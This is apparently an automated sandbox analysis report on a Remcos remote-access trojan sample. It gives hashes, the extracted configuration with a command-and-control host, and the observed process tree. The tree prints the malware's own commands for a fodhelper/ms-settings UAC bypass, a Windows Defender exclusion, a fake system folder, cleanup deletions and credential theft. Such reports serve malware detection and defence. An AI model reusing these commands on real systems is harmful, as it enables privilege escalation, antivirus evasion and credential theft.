Analysis
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max time kernel
149s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20240709-en -
resource tags
arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system -
submitted
26-07-2024 04:00
Static task
static1
Behavioral task
behavioral1
Sample
7bfc2a2b68cfc17bd29b8df4da1c99c97987804cfcbb46640e9e2ca2bb56863b.exe
Resource
win7-20240705-en
Behavioral task
behavioral2
Sample
7bfc2a2b68cfc17bd29b8df4da1c99c97987804cfcbb46640e9e2ca2bb56863b.exe
Resource
win10v2004-20240709-en
General
-
Target
7bfc2a2b68cfc17bd29b8df4da1c99c97987804cfcbb46640e9e2ca2bb56863b.exe
-
Size
1.2MB
-
MD5
26d93f785c74da34d7b6d7445dd28ac5
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SHA1
f8b30069b21bec53594857e9867b2bd968732e6f
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SHA256
7bfc2a2b68cfc17bd29b8df4da1c99c97987804cfcbb46640e9e2ca2bb56863b
-
SHA512
6fb0d17a738287b479098e49db051bcaedd0ec6784c25537ef4cb55285752cf54ee8c1fe308c3afe82170aa033749eba82c273812beb6693093e3005e212b439
-
SSDEEP
24576:LjWx3xQdd8fdq8EvCW+RSZhD445cr8VWO5g3EVe:LKVyL8fC+8XD445mY5g3EVe
Malware Config
Extracted
remcos
RemoteHost
127.0.0.1:54888
zuesremmy.duckdns.org:54888
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audio_folder
MicRecords
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audio_record_time
5
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connect_delay
0
-
connect_interval
1
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copy_file
remcos.exe
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copy_folder
Remcos
-
delete_file
false
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hide_file
false
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hide_keylog_file
false
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install_flag
false
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keylog_crypt
false
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keylog_file
logs.dat
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keylog_flag
false
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keylog_folder
remcos
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mouse_option
false
-
mutex
Rmc-Z19JY9
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screenshot_crypt
false
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screenshot_flag
false
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screenshot_folder
Screenshots
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screenshot_path
%AppData%
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screenshot_time
10
-
take_screenshot_option
false
-
take_screenshot_time
5
Signatures
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Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
-
Detected Nirsoft tools 3 IoCs
Free utilities often used by attackers which can steal passwords, product keys, etc.
Processes:
resource yara_rule behavioral2/memory/4064-106-0x0000000000400000-0x0000000000462000-memory.dmp Nirsoft behavioral2/memory/2016-111-0x0000000000400000-0x0000000000424000-memory.dmp Nirsoft behavioral2/memory/2796-105-0x0000000000400000-0x0000000000478000-memory.dmp Nirsoft -
NirSoft MailPassView 1 IoCs
Password recovery tool for various email clients
Processes:
resource yara_rule behavioral2/memory/4064-106-0x0000000000400000-0x0000000000462000-memory.dmp MailPassView -
NirSoft WebBrowserPassView 1 IoCs
Password recovery tool for various web browsers
Processes:
resource yara_rule behavioral2/memory/2796-105-0x0000000000400000-0x0000000000478000-memory.dmp WebBrowserPassView -
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
gspwscdY.pifper.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000\Control Panel\International\Geo\Nation gspwscdY.pif Key value queried \REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000\Control Panel\International\Geo\Nation per.exe -
Executes dropped EXE 21 IoCs
Processes:
gspwscdY.pifalpha.exealpha.exealpha.exealpha.exealpha.exealpha.exealpha.exexkn.exealpha.exeger.exeper.exealpha.exealpha.exealpha.exealpha.exealpha.exealpha.exealpha.exealpha.exealpha.exepid process 1488 gspwscdY.pif 1120 alpha.exe 2196 alpha.exe 1464 alpha.exe 1952 alpha.exe 5028 alpha.exe 4296 alpha.exe 376 alpha.exe 3916 xkn.exe 3772 alpha.exe 872 ger.exe 4588 per.exe 2548 alpha.exe 2340 alpha.exe 1464 alpha.exe 2216 alpha.exe 3840 alpha.exe 408 alpha.exe 2576 alpha.exe 2848 alpha.exe 3740 alpha.exe -
Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
Processes:
colorcpl.exedescription ioc process Key opened \REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts colorcpl.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
7bfc2a2b68cfc17bd29b8df4da1c99c97987804cfcbb46640e9e2ca2bb56863b.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Ydcswpsg = "C:\\Users\\Public\\Ydcswpsg.url" 7bfc2a2b68cfc17bd29b8df4da1c99c97987804cfcbb46640e9e2ca2bb56863b.exe -
Suspicious use of SetThreadContext 4 IoCs
Processes:
7bfc2a2b68cfc17bd29b8df4da1c99c97987804cfcbb46640e9e2ca2bb56863b.execolorcpl.exedescription pid process target process PID 1776 set thread context of 1488 1776 7bfc2a2b68cfc17bd29b8df4da1c99c97987804cfcbb46640e9e2ca2bb56863b.exe gspwscdY.pif PID 3764 set thread context of 2796 3764 colorcpl.exe colorcpl.exe PID 3764 set thread context of 4064 3764 colorcpl.exe colorcpl.exe PID 3764 set thread context of 2016 3764 colorcpl.exe colorcpl.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 7 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
Processes:
7bfc2a2b68cfc17bd29b8df4da1c99c97987804cfcbb46640e9e2ca2bb56863b.exegspwscdY.pifextrac32.execolorcpl.execolorcpl.execolorcpl.execolorcpl.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7bfc2a2b68cfc17bd29b8df4da1c99c97987804cfcbb46640e9e2ca2bb56863b.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language gspwscdY.pif Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language extrac32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language colorcpl.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language colorcpl.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language colorcpl.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language colorcpl.exe -
System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 4 IoCs
Adversaries may check for Internet connectivity on compromised systems.
Processes:
alpha.exePING.EXEalpha.exePING.EXEpid process 5028 alpha.exe 1080 PING.EXE 1464 alpha.exe 2844 PING.EXE -
Kills process with taskkill 3 IoCs
Processes:
taskkill.exetaskkill.exetaskkill.exepid process 4948 taskkill.exe 2328 taskkill.exe 2028 taskkill.exe -
Modifies registry class 5 IoCs
Processes:
ger.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000_Classes\ms-settings\shell\open\command\ = "C:\\\\Users\\\\Public\\\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\"" ger.exe Key created \REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000_Classes\ms-settings\shell\open\command ger.exe Key created \REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000_Classes\ms-settings ger.exe Key created \REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000_Classes\ms-settings\shell ger.exe Key created \REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000_Classes\ms-settings\shell\open ger.exe -
Processes:
xkn.exedescription ioc process Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e xkn.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 1900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef453000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e xkn.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 xkn.exe -
Runs ping.exe 1 TTPs 2 IoCs
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Script User-Agent 1 IoCs
Uses user-agent string associated with script host/environment.
Processes:
description flow ioc HTTP User-Agent header 26 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 11 IoCs
Processes:
xkn.exe7bfc2a2b68cfc17bd29b8df4da1c99c97987804cfcbb46640e9e2ca2bb56863b.execolorcpl.execolorcpl.exepid process 3916 xkn.exe 3916 xkn.exe 3916 xkn.exe 1776 7bfc2a2b68cfc17bd29b8df4da1c99c97987804cfcbb46640e9e2ca2bb56863b.exe 1776 7bfc2a2b68cfc17bd29b8df4da1c99c97987804cfcbb46640e9e2ca2bb56863b.exe 2796 colorcpl.exe 2796 colorcpl.exe 2016 colorcpl.exe 2016 colorcpl.exe 2796 colorcpl.exe 2796 colorcpl.exe -
Suspicious behavior: MapViewOfSection 5 IoCs
Processes:
colorcpl.exepid process 3764 colorcpl.exe 3764 colorcpl.exe 3764 colorcpl.exe 3764 colorcpl.exe 3764 colorcpl.exe -
Suspicious use of AdjustPrivilegeToken 5 IoCs
Processes:
xkn.exetaskkill.exetaskkill.exetaskkill.execolorcpl.exedescription pid process Token: SeDebugPrivilege 3916 xkn.exe Token: SeDebugPrivilege 4948 taskkill.exe Token: SeDebugPrivilege 2328 taskkill.exe Token: SeDebugPrivilege 2028 taskkill.exe Token: SeDebugPrivilege 2016 colorcpl.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
7bfc2a2b68cfc17bd29b8df4da1c99c97987804cfcbb46640e9e2ca2bb56863b.exegspwscdY.pifcmd.exealpha.exealpha.exealpha.exealpha.exealpha.exexkn.exealpha.exealpha.exealpha.exealpha.exedescription pid process target process PID 1776 wrote to memory of 1488 1776 7bfc2a2b68cfc17bd29b8df4da1c99c97987804cfcbb46640e9e2ca2bb56863b.exe gspwscdY.pif PID 1776 wrote to memory of 1488 1776 7bfc2a2b68cfc17bd29b8df4da1c99c97987804cfcbb46640e9e2ca2bb56863b.exe gspwscdY.pif PID 1776 wrote to memory of 1488 1776 7bfc2a2b68cfc17bd29b8df4da1c99c97987804cfcbb46640e9e2ca2bb56863b.exe gspwscdY.pif PID 1776 wrote to memory of 1488 1776 7bfc2a2b68cfc17bd29b8df4da1c99c97987804cfcbb46640e9e2ca2bb56863b.exe gspwscdY.pif PID 1776 wrote to memory of 1488 1776 7bfc2a2b68cfc17bd29b8df4da1c99c97987804cfcbb46640e9e2ca2bb56863b.exe gspwscdY.pif PID 1488 wrote to memory of 4720 1488 gspwscdY.pif cmd.exe PID 1488 wrote to memory of 4720 1488 gspwscdY.pif cmd.exe PID 4720 wrote to memory of 3024 4720 cmd.exe extrac32.exe PID 4720 wrote to memory of 3024 4720 cmd.exe extrac32.exe PID 4720 wrote to memory of 1120 4720 cmd.exe alpha.exe PID 4720 wrote to memory of 1120 4720 cmd.exe alpha.exe PID 4720 wrote to memory of 2196 4720 cmd.exe alpha.exe PID 4720 wrote to memory of 2196 4720 cmd.exe alpha.exe PID 4720 wrote to memory of 1464 4720 cmd.exe alpha.exe PID 4720 wrote to memory of 1464 4720 cmd.exe alpha.exe PID 1464 wrote to memory of 4324 1464 alpha.exe extrac32.exe PID 1464 wrote to memory of 4324 1464 alpha.exe extrac32.exe PID 4720 wrote to memory of 1952 4720 cmd.exe alpha.exe PID 4720 wrote to memory of 1952 4720 cmd.exe alpha.exe PID 1952 wrote to memory of 2712 1952 alpha.exe extrac32.exe PID 1952 wrote to memory of 2712 1952 alpha.exe extrac32.exe PID 4720 wrote to memory of 5028 4720 cmd.exe alpha.exe PID 4720 wrote to memory of 5028 4720 cmd.exe alpha.exe PID 5028 wrote to memory of 1080 5028 alpha.exe PING.EXE PID 5028 wrote to memory of 1080 5028 alpha.exe PING.EXE PID 4720 wrote to memory of 2200 4720 cmd.exe cmd.exe PID 4720 wrote to memory of 2200 4720 cmd.exe cmd.exe PID 4720 wrote to memory of 4296 4720 cmd.exe alpha.exe PID 4720 wrote to memory of 4296 4720 cmd.exe alpha.exe PID 4296 wrote to memory of 3844 4296 alpha.exe extrac32.exe PID 4296 wrote to memory of 3844 4296 alpha.exe extrac32.exe PID 4720 wrote to memory of 376 4720 cmd.exe alpha.exe PID 4720 wrote to memory of 376 4720 cmd.exe alpha.exe PID 376 wrote to memory of 3916 376 alpha.exe xkn.exe PID 376 wrote to memory of 3916 376 alpha.exe xkn.exe PID 3916 wrote to memory of 3772 3916 xkn.exe alpha.exe PID 3916 wrote to memory of 3772 3916 xkn.exe alpha.exe PID 3772 wrote to memory of 872 3772 alpha.exe ger.exe PID 3772 wrote to memory of 872 3772 alpha.exe ger.exe PID 4720 wrote to memory of 4588 4720 cmd.exe per.exe PID 4720 wrote to memory of 4588 4720 cmd.exe per.exe PID 4720 wrote to memory of 2548 4720 cmd.exe alpha.exe PID 4720 wrote to memory of 2548 4720 cmd.exe alpha.exe PID 2548 wrote to memory of 4948 2548 alpha.exe taskkill.exe PID 2548 wrote to memory of 4948 2548 alpha.exe taskkill.exe PID 4720 wrote to memory of 2340 4720 cmd.exe alpha.exe PID 4720 wrote to memory of 2340 4720 cmd.exe alpha.exe PID 2340 wrote to memory of 2328 2340 alpha.exe taskkill.exe PID 2340 wrote to memory of 2328 2340 alpha.exe taskkill.exe PID 4720 wrote to memory of 1464 4720 cmd.exe alpha.exe PID 4720 wrote to memory of 1464 4720 cmd.exe alpha.exe PID 1464 wrote to memory of 2844 1464 alpha.exe PING.EXE PID 1464 wrote to memory of 2844 1464 alpha.exe PING.EXE PID 1776 wrote to memory of 3880 1776 7bfc2a2b68cfc17bd29b8df4da1c99c97987804cfcbb46640e9e2ca2bb56863b.exe extrac32.exe PID 1776 wrote to memory of 3880 1776 7bfc2a2b68cfc17bd29b8df4da1c99c97987804cfcbb46640e9e2ca2bb56863b.exe extrac32.exe PID 1776 wrote to memory of 3880 1776 7bfc2a2b68cfc17bd29b8df4da1c99c97987804cfcbb46640e9e2ca2bb56863b.exe extrac32.exe PID 1776 wrote to memory of 3764 1776 7bfc2a2b68cfc17bd29b8df4da1c99c97987804cfcbb46640e9e2ca2bb56863b.exe colorcpl.exe PID 1776 wrote to memory of 3764 1776 7bfc2a2b68cfc17bd29b8df4da1c99c97987804cfcbb46640e9e2ca2bb56863b.exe colorcpl.exe PID 1776 wrote to memory of 3764 1776 7bfc2a2b68cfc17bd29b8df4da1c99c97987804cfcbb46640e9e2ca2bb56863b.exe colorcpl.exe PID 4720 wrote to memory of 2216 4720 cmd.exe alpha.exe PID 4720 wrote to memory of 2216 4720 cmd.exe alpha.exe PID 4720 wrote to memory of 3840 4720 cmd.exe alpha.exe PID 4720 wrote to memory of 3840 4720 cmd.exe alpha.exe PID 4720 wrote to memory of 408 4720 cmd.exe alpha.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\7bfc2a2b68cfc17bd29b8df4da1c99c97987804cfcbb46640e9e2ca2bb56863b.exe"C:\Users\Admin\AppData\Local\Temp\7bfc2a2b68cfc17bd29b8df4da1c99c97987804cfcbb46640e9e2ca2bb56863b.exe"1⤵
- Adds Run key to start application
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1776 -
C:\Users\Public\Libraries\gspwscdY.pifC:\Users\Public\Libraries\gspwscdY.pif2⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1488 -
C:\Windows\system32\cmd.exe"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\727B.tmp\727C.tmp\727D.bat C:\Users\Public\Libraries\gspwscdY.pif"3⤵
- Suspicious use of WriteProcessMemory
PID:4720 -
C:\Windows\System32\extrac32.exeC:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"4⤵PID:3024
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C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows "4⤵
- Executes dropped EXE
PID:1120 -
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows \System32"4⤵
- Executes dropped EXE
PID:2196 -
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1464 -
C:\Windows\system32\extrac32.exeextrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"5⤵PID:4324
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C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1952 -
C:\Windows\system32\extrac32.exeextrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"5⤵PID:2712
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C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c ping 127.0.0.1 -n 24⤵
- Executes dropped EXE
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
PID:5028 -
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 25⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:1080 -
C:\Windows\system32\cmd.execmd.exe4⤵PID:2200
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C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4296 -
C:\Windows\system32\extrac32.exeextrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"5⤵PID:3844
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C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:376 -
C:\Users\Public\xkn.exeC:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "5⤵
- Executes dropped EXE
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3916 -
C:\Users\Public\alpha.exe"C:\Users\Public\alpha.exe" /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""6⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3772 -
C:\Users\Public\ger.exeC:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""7⤵
- Executes dropped EXE
- Modifies registry class
PID:872 -
C:\Windows \System32\per.exe"C:\\Windows \\System32\\per.exe"4⤵
- Checks computer location settings
- Executes dropped EXE
PID:4588 -
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2548 -
C:\Windows\system32\taskkill.exetaskkill /F /IM SystemSettings.exe5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4948 -
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettingsAdminFlows.exe4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2340 -
C:\Windows\system32\taskkill.exetaskkill /F /IM SystemSettingsAdminFlows.exe5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2328 -
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c ping 127.0.0.1 -n 24⤵
- Executes dropped EXE
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
PID:1464 -
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 25⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:2844 -
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c del /q "C:\Windows \System32\*"4⤵
- Executes dropped EXE
PID:2216 -
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c rmdir "C:\Windows \System32"4⤵
- Executes dropped EXE
PID:3840 -
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c rmdir "C:\Windows \"4⤵
- Executes dropped EXE
PID:408 -
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c del /q "C:\\Windows \\System32\\per.exe" / A / F / Q / S4⤵
- Executes dropped EXE
PID:2576 -
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c del /q "C:\Users\Public\ger.exe" / A / F / Q / S4⤵
- Executes dropped EXE
PID:2848 -
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c taskkill /F /IM cmd.exe4⤵
- Executes dropped EXE
PID:3740 -
C:\Windows\system32\taskkill.exetaskkill /F /IM cmd.exe5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2028 -
C:\Windows\SysWOW64\extrac32.exeC:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\Admin\AppData\Local\Temp\7bfc2a2b68cfc17bd29b8df4da1c99c97987804cfcbb46640e9e2ca2bb56863b.exe C:\\Users\\Public\\Libraries\\Ydcswpsg.PIF2⤵
- System Location Discovery: System Language Discovery
PID:3880 -
C:\Windows\SysWOW64\colorcpl.exeC:\Windows\System32\colorcpl.exe2⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: MapViewOfSection
PID:3764 -
C:\Windows\SysWOW64\colorcpl.exeC:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\tzcgyxyzuoooqvqqaxqjeuzd"3⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:2796 -
C:\Windows\SysWOW64\colorcpl.exeC:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\dbhyzqjbiwgtbjeuriklpgmuyiw"3⤵PID:3248
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C:\Windows\SysWOW64\colorcpl.exeC:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\dbhyzqjbiwgtbjeuriklpgmuyiw"3⤵PID:4024
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C:\Windows\SysWOW64\colorcpl.exeC:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\dbhyzqjbiwgtbjeuriklpgmuyiw"3⤵
- Accesses Microsoft Outlook accounts
- System Location Discovery: System Language Discovery
PID:4064 -
